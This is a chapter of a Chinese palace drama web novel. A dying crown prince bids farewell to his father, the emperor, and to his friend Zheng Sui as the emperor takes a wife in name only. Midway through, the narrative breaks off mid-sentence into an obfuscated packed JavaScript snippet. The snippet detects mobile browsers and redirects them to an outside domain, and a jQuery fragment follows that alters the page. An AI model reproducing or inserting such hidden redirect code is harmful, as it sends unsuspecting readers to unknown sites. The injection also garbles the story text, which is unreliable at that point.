冬至日后，太子重病的消息天下皆知，请立皇后以继新嗣的声音也越来越大。人言纷纭里，萧玠终于病倒。迷迷糊糊察觉有一双手给他换帕子擦身，将他抱在怀中，拿勺一点一点喂药，像喂一个不足月的婴儿。


    阿爹并没有因为这事厌恶自己。


    萧玠没了牵挂，心中一松，更是病榻缠绵起来。白日有些清醒的时辰，便闻见满屋药气，似乎一轮一轮的人给自己把脉掀眼皮，然后避到帘子后，操着不同的口音向天子汇报病情。


    帘外摆着把太师椅，萧恒不是守在榻边，就是坐在那里。


    他不上朝吗？


    萧玠只动了动念头，下一刻，又陷入混沌之中。


    无数方子用下去，萧玠的病情依旧时好时坏。坏时两日睁不开一次眼，好时便能有半日清醒的时间，甚至还能起来吃药用饭，和人交谈几句。


    但无可避免，病榻上的皇太子迅速消瘦下去，象征生命力的血色从他的双颊和嘴唇上消退得毫无踪迹。这叫赶来贴身照料他的阿双恐惧万分。


    许多年前，她在另一个人身上看到过这种迹象，在萧玠出生前后，那人收到来信，经历了萧恒之死的打击。


    萧玠醒时见到她对自己笑，抬手给她擦拭眼泪，问：“姑姑，过年了吗？”


    阿双道：“快了，快了。”


    萧玠点点头，吃过药，说一会话，又睡过去。不知过了多久，朦朦胧胧间，他看到有人守在榻边，见到他睁眼浑身猝然一动。不是阿双也不是萧恒。


    萧玠看着他的脸，想笑，许久，才讲出一句：“你回来啦。”


    郑绥尚未解甲，半跪在他榻前，紧紧握住他伸出的手，声音也嘶哑：“我回来了殿下，我回来了。”


    萧玠静静注视他片刻，见他嘴唇干得起皮，脸上沙尘还未擦洗，便想到是得知消息，一路疾驰而归。


    萧玠笑道：“还没见过你在军营是什么样子，小时候你练兵，叫我去，但我总在生病。本想今年求陛下的旨意，准我去崤关犒军……没想到，还是累你回来一趟。”


    郑绥柔声道：“你好起来，我带你去军营。我叫你看我练兵，好不好？”


    萧玠道：“我给你写过信，好多信，你……你为什么一封也不回呀？”


    郑绥眼泪涌出来，“是我不好，我刚拿到。我回去就看，我每封都回给你。”


    他低低叫一声：“阿玠。”


    萧玠浑身一震，声音有些颤抖，“你很久不这样叫我了。去年起，你就不叫了。”


    郑绥微微垂首，“我……到底君臣有分。”


    萧玠问：“你如今，又不管君臣之分了吗？”


    郑绥的神色很古怪，萧玠说不上来，但不忍心瞧他这样挣扎的表情。


    一别数月，郑绥个头又长了。他明明比萧玠要小，但瞧身形骨架，竟很有十六七岁少年郎的架势，类似郑素的骨相也格外分明起来。


    他长大了。


    萧玠看着他执自己的手，轻轻道：“我听说，是崔氏的女儿，你们有族亲。”


    他冲郑绥笑笑，“很好，很好……只可惜，瞧不见你娶妻……生子了。”


    “我不娶妻。”郑绥说，“你好起来，我不娶妻。”


    萧玠没想明白二者之间有什么联系，正要讲话，郑绥便道：“你该吃药了。”


    他这才松开手，往帘后药炉旁走去。


    他从前做太子伴读，曾陪萧玠在东宫住过一年，对一切都轻车熟路。郑绥身影投在竹帘上，被放大，被织成密密的线条。萧玠看他从橱里取药盏，一只青瓷莲花纹的斗笠盏，明眼人都看得出这是南秦官窑的东西。


    郑绥倒一盏药，自己先尝一口，端到萧玠案头，又去桌边匣子里找出一只瓷瓶，正在手中掂量，便听萧玠道：“先不吃了，就剩这一点了。”


    郑绥仍把那只瓶子拿过来，“吃完了我再熬。”


    他顿了顿，将自己甲胄解掉，露出萧玠眼熟的一件半新青衣。这才从榻边坐下，将萧玠揽起来喂他吃药。


    郑绥穿得很薄，薄得萧玠能感受到他的心跳。但郑绥的胸口又很热，热得萧玠差点以为自己这具逐渐冷却的身体有了回暖的假象。


    一碗药即将见底，萧玠靠在他肩膀上，轻轻道：“绥郎，我想求你件事。”


    郑绥低头看他。


    “以后……劳烦你多进宫陪陪陛下，求你看在咱们这些年的情谊，替我好好照顾他。我实在没什么能拜托的人，我就把他托付给你了。不要把他当陛下，把他当成你的叔伯，甚至是……父亲。”萧玠一口气说这么多，体力有些不支，匀了会气才道，“你的大恩大德，我下辈子……也要报答的……”


    郑绥打断，“你别说话。”


    但他怎么能拦住萧玠呢？


    萧玠捧住药碗，嘱咐道：“一会天要晚了，坐我的轿子回去。跑了一路……太伤腿脚，你年纪虽小，也要注意的。”


    郑缚道：“我和姨母一道来的。我来这边，她去拜见陛下。你不要劳神，少说话。”


    许是炭烧得热，萧玠竟觉身上生了些暖气。郑绥将他吃空的药盏搁在一边，又这样揽了他一会，问：“要躺下吗？”


    萧玠轻声说：“你……再叫我靠一会吧。”


    ***


    萧恒看向立在殿中的杨观音。


    杨观音穿一领素色衫子，一支玉簪挽发髻，很有些山中居士的沉静。萧恒看着她，像看到一场大风暴里共同生还的幸存者。这场时局的灾难让她成为一只丧偶的天鹅，把他变作一只失伴的鸳鸯。独身男女好配结，但二鸟分属有别，性各贞烈。


    许久，萧恒方道：“我知道杨娘子的来意。我很感谢娘子，但我没有那个心思。”


    杨观音道：“但陛下应当明白殿下的心思。殿下宣布自己的病情，就是要世人知道陛下即将绝嗣。大梁要有继承，陛下要生新子，就必须选立后宫。这样一来，殿下的目的也就达到——朝臣以后再也不能拿立后和殿下两件事，来拿捏陛下、阻拦新法了。”


    萧恒道：“我不立后，不只是为了阿玠。”


    杨观音看着他，“但殿下是很重要的原因。”


    萧恒不语。


    杨观音又道：“家兄即将领命启程，他如今已被世族视为叛逆，此行更是视死如归。要他活，除非他成为与皇家、与陛下血脉相关之人。如果陛下要立一个杨皇后，所生亦为杨太子，那家兄便是一国之舅，没有人敢对大梁未来天子的母舅下手。陛下，时局如此，孰轻孰重。”


    萧恒道：“我知道，娘子是为玉清守志之人。我不能做这种事。”


    杨观音笑道：“难道陛下真打算同妾行周公之礼吗？”


    萧恒神色一僵，“我绝不敢有此心。”


    “但如果不是妾，没有一个女子愿意、应该独守空房，哪怕这个空房是椒房。陛下是打算叫她守一辈子活寡，还是真同她生儿育女，作践了她也作践自己的一颗心呢？”杨观音轻轻叹道，“陛下，恭让皇后的殷鉴犹在啊。”


    萧恒身躯轻轻震动一下。


    “我谁都不作践。”他还是说，“我不立后。”


    杨观音道：“陛下先前不立后，已被逼到要大开杀戒了。”


    萧恒道：“无人不惧一死。”


    杨观音道：“可殿下为了陛下，会惧一死吗？”


    萧恒像被打了一记耳光。


    他垂下头，双肩剧烈颤抖起来。


    一地余晖里，杨观音整衣跪倒，目中水光微动，“妾是裴玉清的妻子，所以绝不会做陛下的妻子。但陛下是妾和玉清的恩人、全大梁的恩人。”


    她双手加额，俯身于地。


    “妾温国公次女杨氏观音请诏入宫。妾，心甘情愿。”


    ***


    奉皇十五年腊月二十八，皇帝下诏，册立温国公次女杨氏为后。正月初五，举行封后大典，授册宝，迎居立政殿。


    天子立后如此仓促，难免引来议论纷纭。有人说是潦草敷衍，有人却不赞同，道咱们陛下独居多载，又正值壮年，说不定早想温香暖玉。之前种种，只是演绎故剑深情——更别说故剑是谁尚且一团疑云——如今才是顺水推舟。


    不过这些闲言碎语是落不进太子庭院的。事实沉重流言轻，昨夜一场北风，今早连落叶都能打扫得一片不剩。郑绥有东宫鱼袋，无事便来陪同，萧恒也给他宽限，夜间也许他留宿禁中。有他作伴，萧玠也强了精神，这几日竟能起身行走，也能自己做些取用。萧恒大喜过望，太医却知回光返照之理，谨小慎微，不敢道破。


    立后的装扮在年节掩盖下悄悄张罗起来，宫中得到嘱咐，绝不敢在太子眼前露出一星半点。但萧玠自己却是极敏锐的人。正月初一，他正掀那本《明王》瞧，忽然抬头望窗户，凝神片刻，道：“我听见有编钟响了，还有鼓声。”


    郑绥晓得是礼部演练婚仪乐曲，便笑道：“听说今年有外邦使节朝贺，大抵是招呼他们的。殿下若想听，臣明日把琴带进来，好吗？”


    萧玠倚在枕上，看了他一会，方绽开一笑，颔首道：“好。”


    萧恒但凡下朝无事，仍是每日来瞧他，从不谈论立后事宜，萧玠也不多问。直到正月初四，萧恒傍晚过来，陪他一块吃饭。


    萧玠吃得少，半碗清粥便罢。萧恒知他的胃口，也不要求，把他剩的汤粥倒自己碗里，挟着酱菜来吃。


    他一埋头，萧玠就瞧见他的头顶。


    萧恒素来自己梳头，白头发生得快，就让他自己藏在头发心。他又比萧玠高不少，平日看不出什么破绽。


    萧玠这么看了他一会，说：“明日我不过去了。”


    萧恒点点头。


    萧玠说：“如果有大臣再参奏，你别急。”


    “我不急。”萧恒放下碗筷，“这事你不用管，你就照顾好自己。明天再晚些，我还是过来吃饭。”


    萧玠道：“别了，我明晚想早睡。”


    萧恒想说什么，到底没出口，应一声。


    萧玠挟着筷子，似乎酝酿什么，终于，看着他的脸，说：“阿爹，你能把吉服穿来给我瞧瞧吗？”


    萧恒不防他提这件事，沉默一会，道：“好。”


    萧恒没有离开东宫，他陪着萧玠，由秋童去取明日的婚服。过了一会，萧恒更换完毕，走出屏风。


    在萧玠眼中，他华发早生的父亲短暂焕发出青春容光。一瞬间，他容颜再朱，鬓角重绿。他今年三十有余，却类似一具年逾四十的身躯，这具身躯在转向萧玠的一刻返老还童，让他见到他从未见过的弱冠之年的父亲的模样。


    这件吉服像件仙衣，但它只沾了婚姻的名头，甚至都没有触到爱情的边角。萧玠无法想象，对他铁石心肠的父亲来说，爱情竟有这样起死回生的力量。


    萧玠站起身，慢慢向他走去，帮他整理衣领，又将旒珠放下，手指落在一道褶皱上，却没有抚开。他问出一个执着多年的问题：“你们那时候……穿过吗？”


    萧恒说：“我们那时候，按的是你阿耶那边的规矩。”


    萧玠应一声。


    萧恒看着他，“册立你的那天，我穿的这一件。”


    萧玠猛地抬头，瞧他一会，问：“礼部没有啰嗦？”


    萧恒笑道：“你老师是偷天换日的好手。”


    他笑着，轻轻抱住萧玠。


    萧玠慢慢缩在他怀里，脸埋进他衣襟，把那件熨好的吉服抓得生皱。许久，才颤声说：“对不起。”


    萧恒轻轻拍打他后背，只叹一声：“傻孩子。”


    立后大典在清晨举行，萧恒当夜就要动身出宫，便不在东宫久留。他刚走，郑绥便到，倒像是预先受过托付。两人说了会话，已是一天寒星。


    萧玠道：“绥郎，我想去趟甘露殿。”


    郑绥没有劝阻，替萧玠穿好棉衣，又取过大氅，才提灯搀扶他出门。如今夜深，萧玠不想叫辇，两人便走走停停。出现在甘露殿门前时秋童大惊，忙叫人去生炭。萧玠坐在椅中匀气，一时也没有阻止。


    他抬头打量，殿中已按照天子婚娶的礼仪布置一新。龙凤花烛已然供好，桂圆莲子的山堆也在案上摆放。一片吉祥的海洋里，萧玠这个气若游丝的人反倒格格不入起来。他盯着堂间红剪纸的双喜看了一会，便示意郑绥，扶他走去内殿。


    萧玠要跨门槛时低头瞧了一会。


    小时候跨门槛有些难，他便爬，萧恒要抱他，秦灼反喜欢看热闹，要看他自己爬过来。萧恒便站在一旁，见他若歪倒便赶紧捞他。有一次萧恒不在，他爬门槛不慎磕在地上痛得大哭，秦灼这才慌了神，以后再不叫他爬了。


    阿双同他讲：“后来陛下回来问：‘阿玠头上的伤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566363|186996||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口是怎么回事？’大王不敢讲实话，便同他扯谎，白天说是殿下自己够酪吃叫酪碗砸的，晚上说是殿下非要爬树拿头撞的。陛下也就心中有数。吵嘴？要陛下同大王吵嘴，那可比太阳打西边出来还难，不过陛下有别的法子辖制他。什么法子？啊呀，这不能同殿下讲了。”


    见他呆住，郑绥也不催，由他静静立了一会。等萧玠回过神，郑绥便扶他过门。


    萧玠由他搀着，缓缓走到那张床前。床前红帐垂落，香囊结系，所取纹饰皆为南地风尚。


    萧玠挂起一半帐子，从床边坐下，见萧恒所盖不是他从前那床棉被，而是一床大红鸳鸯的旧缎面，已经上了年头。又打开床头匣子看，见是两枚大印和不厚不薄的一叠书信。


    信封早已泛黄，字迹他熟悉，称呼他熟悉，甚至那甜蜜他也熟悉。但萧玠没有打开，只随手取一枚印扣在手背上，看着那几个字，有些出神。


    过了一会，萧玠将匣子收好，瞧见秋童担忧的脸。萧玠目光示意他背后衣架，上面是仍和萧恒常服挂在一起的诸侯衮衣，含笑道：“秋翁，明日你受累，照顾好陛下，带上太医，他可能会难受。把这些东西都收起来吧，从今往后，别在陛下跟前讲到他了。”


    秋童看他从小长大，如何听得了这番话，当即落下泪来。


    萧玠握住他的手，笑道：“秋翁，这样你哭过来我哭过去，何时是个头呢？陛下娶妻，是好事。以后，他能好好过日子了。你高兴些，大喜的日子呢。”


    萧玠没在甘露殿久留，一会便出了门，反而在出院门前止步，掉头看了好一会。


    夜间风寒，萧玠打了个冷颤。郑绥去握他的手，只觉得凉。


    萧玠抓紧大氅门襟，对郑绥笑了笑，道：“绥郎，不知道你信不信，我心里，真的希望他们能白头偕老的。”


    ***


    次日，正月初五，天子立后，设仪仗如元日，列百官如冠礼。群臣百姓簇拥下，新后手捧宝匣登舆。


    传言匣中所藏为一块玉石，为杨皇后闺中所得，剖而观之，其中有文曰“母天后地”，正为杨后母仪之兆。


    天子立后，普天同庆，一夜歌舞未息。


    萧玠屏退众人，独坐榻上，听到门响，讶然道：“你怎么来了？”


    中宫大喜，郑绥也着大服，红衣黑裳地掩门而入，更像一个年轻新郎。他从榻边坐下，摸了摸萧玠被中手脚，把自己手炉塞到他脚心，道：“来看看你。”


    萧玠看他的脸，一瞬不瞬地，突然说：“我有点累了，你能不能陪我睡一会？像小时候那样。”


    郑绥也看他，缓缓笑了：“好。”


    他替萧玠打散头发，脱去外衣，扶他躺在枕上，又将被褥掖好。自己又去偏殿搬来一张卯榫结构的矮榻，能够折叠，是早年做伴读时守萧玠睡觉常用的。


    郑绥挪开脚踏，将榻拼到萧玠床边，自己也躺下，两个人便同床共枕般面对面起来。


    郑绥从怀中掏出厚厚一沓信封，交给萧玠，“殿下的信臣读完了，回信全部写好了。”


    他看萧玠捧在怀里，便问：“要拆吗？”


    萧玠摇头，全塞到枕下，要这么枕着睡觉，说：“不要一下子看完。”


    他身上冷，不自觉像郑绥靠近。两个人脑袋挨着脑袋，呼吸近在咫尺。郑绥看着他颤动的睫毛，许久，道：“臣犯了欺君之罪。臣没有去崤北，所以臣没有收到殿下的信。”


    萧玠有些奇怪，想了想也明白过来，“是国事？”


    郑绥点头，“是机要。”


    萧玠道：“该当如此。你做得好。”


    郑绥从怀中取出另一物，“臣还有一件东西，请殿下现在过目。”


    是一幅卷轴。


    萧玠笑着结果，缓缓打开。瞬间，泪水盈睫。


    画中人丰神俊朗，眉眼含笑，那么熟悉，又如梦般触不可及。


    是秦灼的肖像。


    萧玠看向他，“你……”


    “臣暂且不能说是什么事，但臣可以告诉殿下，这一趟不是北上，是南下。”郑绥看着他，“殿下知道，秦公在南边曾有几处汤沐邑，都立有光明祠。其中有一处，是一座九层宝塔，很漂亮。奉皇元年，殿下受册之后，陛下在塔顶供了一座光明神像。听家父说，依照的是秦公容貌。臣便照此画下来，殿下看看像不像？”


    萧玠浑身颤抖了，忍泪看他，“那像还在？”


    郑绥点头，“还在。陛下请专人看护，保养得很好。”


    萧玠了然道：“你知道。”


    郑绥轻轻说：“我知道。”


    萧玠把那幅画抱在胸前，像一个受伤的动物一样缩起身体，几乎躲到郑绥怀里。


    他明白了郑绥的言外之意。


    既然是机要之事，郑绥能告诉他真正的目的地，是受到萧恒的默许。


    这幅画，是萧恒想要交给他，告诉他：


    ——我永远不会忘记。


    ***


    翌日，萧玠着礼服，乘舆至立政殿拜见皇后。


    杨观音不叫他下拜，下座扶他坐下，道：“殿下少自聪慧，知道我入宫所为何事。”


    萧玠瞧着她搀扶自己的一双柔荑，涩声道：“我知道，所以我才来拜见皇后殿下。”


    他并不晓得杨观音的隐秘情事，更无从得知二人之间的君子之盟。就像他求萧恒立后，也不只是为了萧恒以后不再受人掣肘。


    作为秦灼的儿子，他不希望萧恒另娶他人。但他也是萧恒的儿子，他不希望自己的父亲孤苦无依。


    萧玠压抑住咳嗽的冲动，起身，缓慢跪倒，握紧杨观音欲扶自己的双手，道：“殿下，他是个很好很好的人，你不要因为我和他有隔阂。我快死了，你的儿子会是大梁长命百岁的太子，你们要好好的。他身体不好，以后我不在，请您多多照顾他。”


    他叩首道：“拜托了。”


    杨观音第一次领会，这个用性命逼迫自己父亲续娶的太子，是个怎样的人。


    只是有些故事，不能为道，不足为道，也无人为道罢了。


    正月初五夜，皇后入立政殿，设香案，启宝匣，取出牌位一座，并观音像一幅，供奉有如阁中。


    天子与皇后入帐，似乎合卺，然杯中无酒。一应吏员撤离后，皇后自行更衣休息。天子往东宫，未入户，立至天明。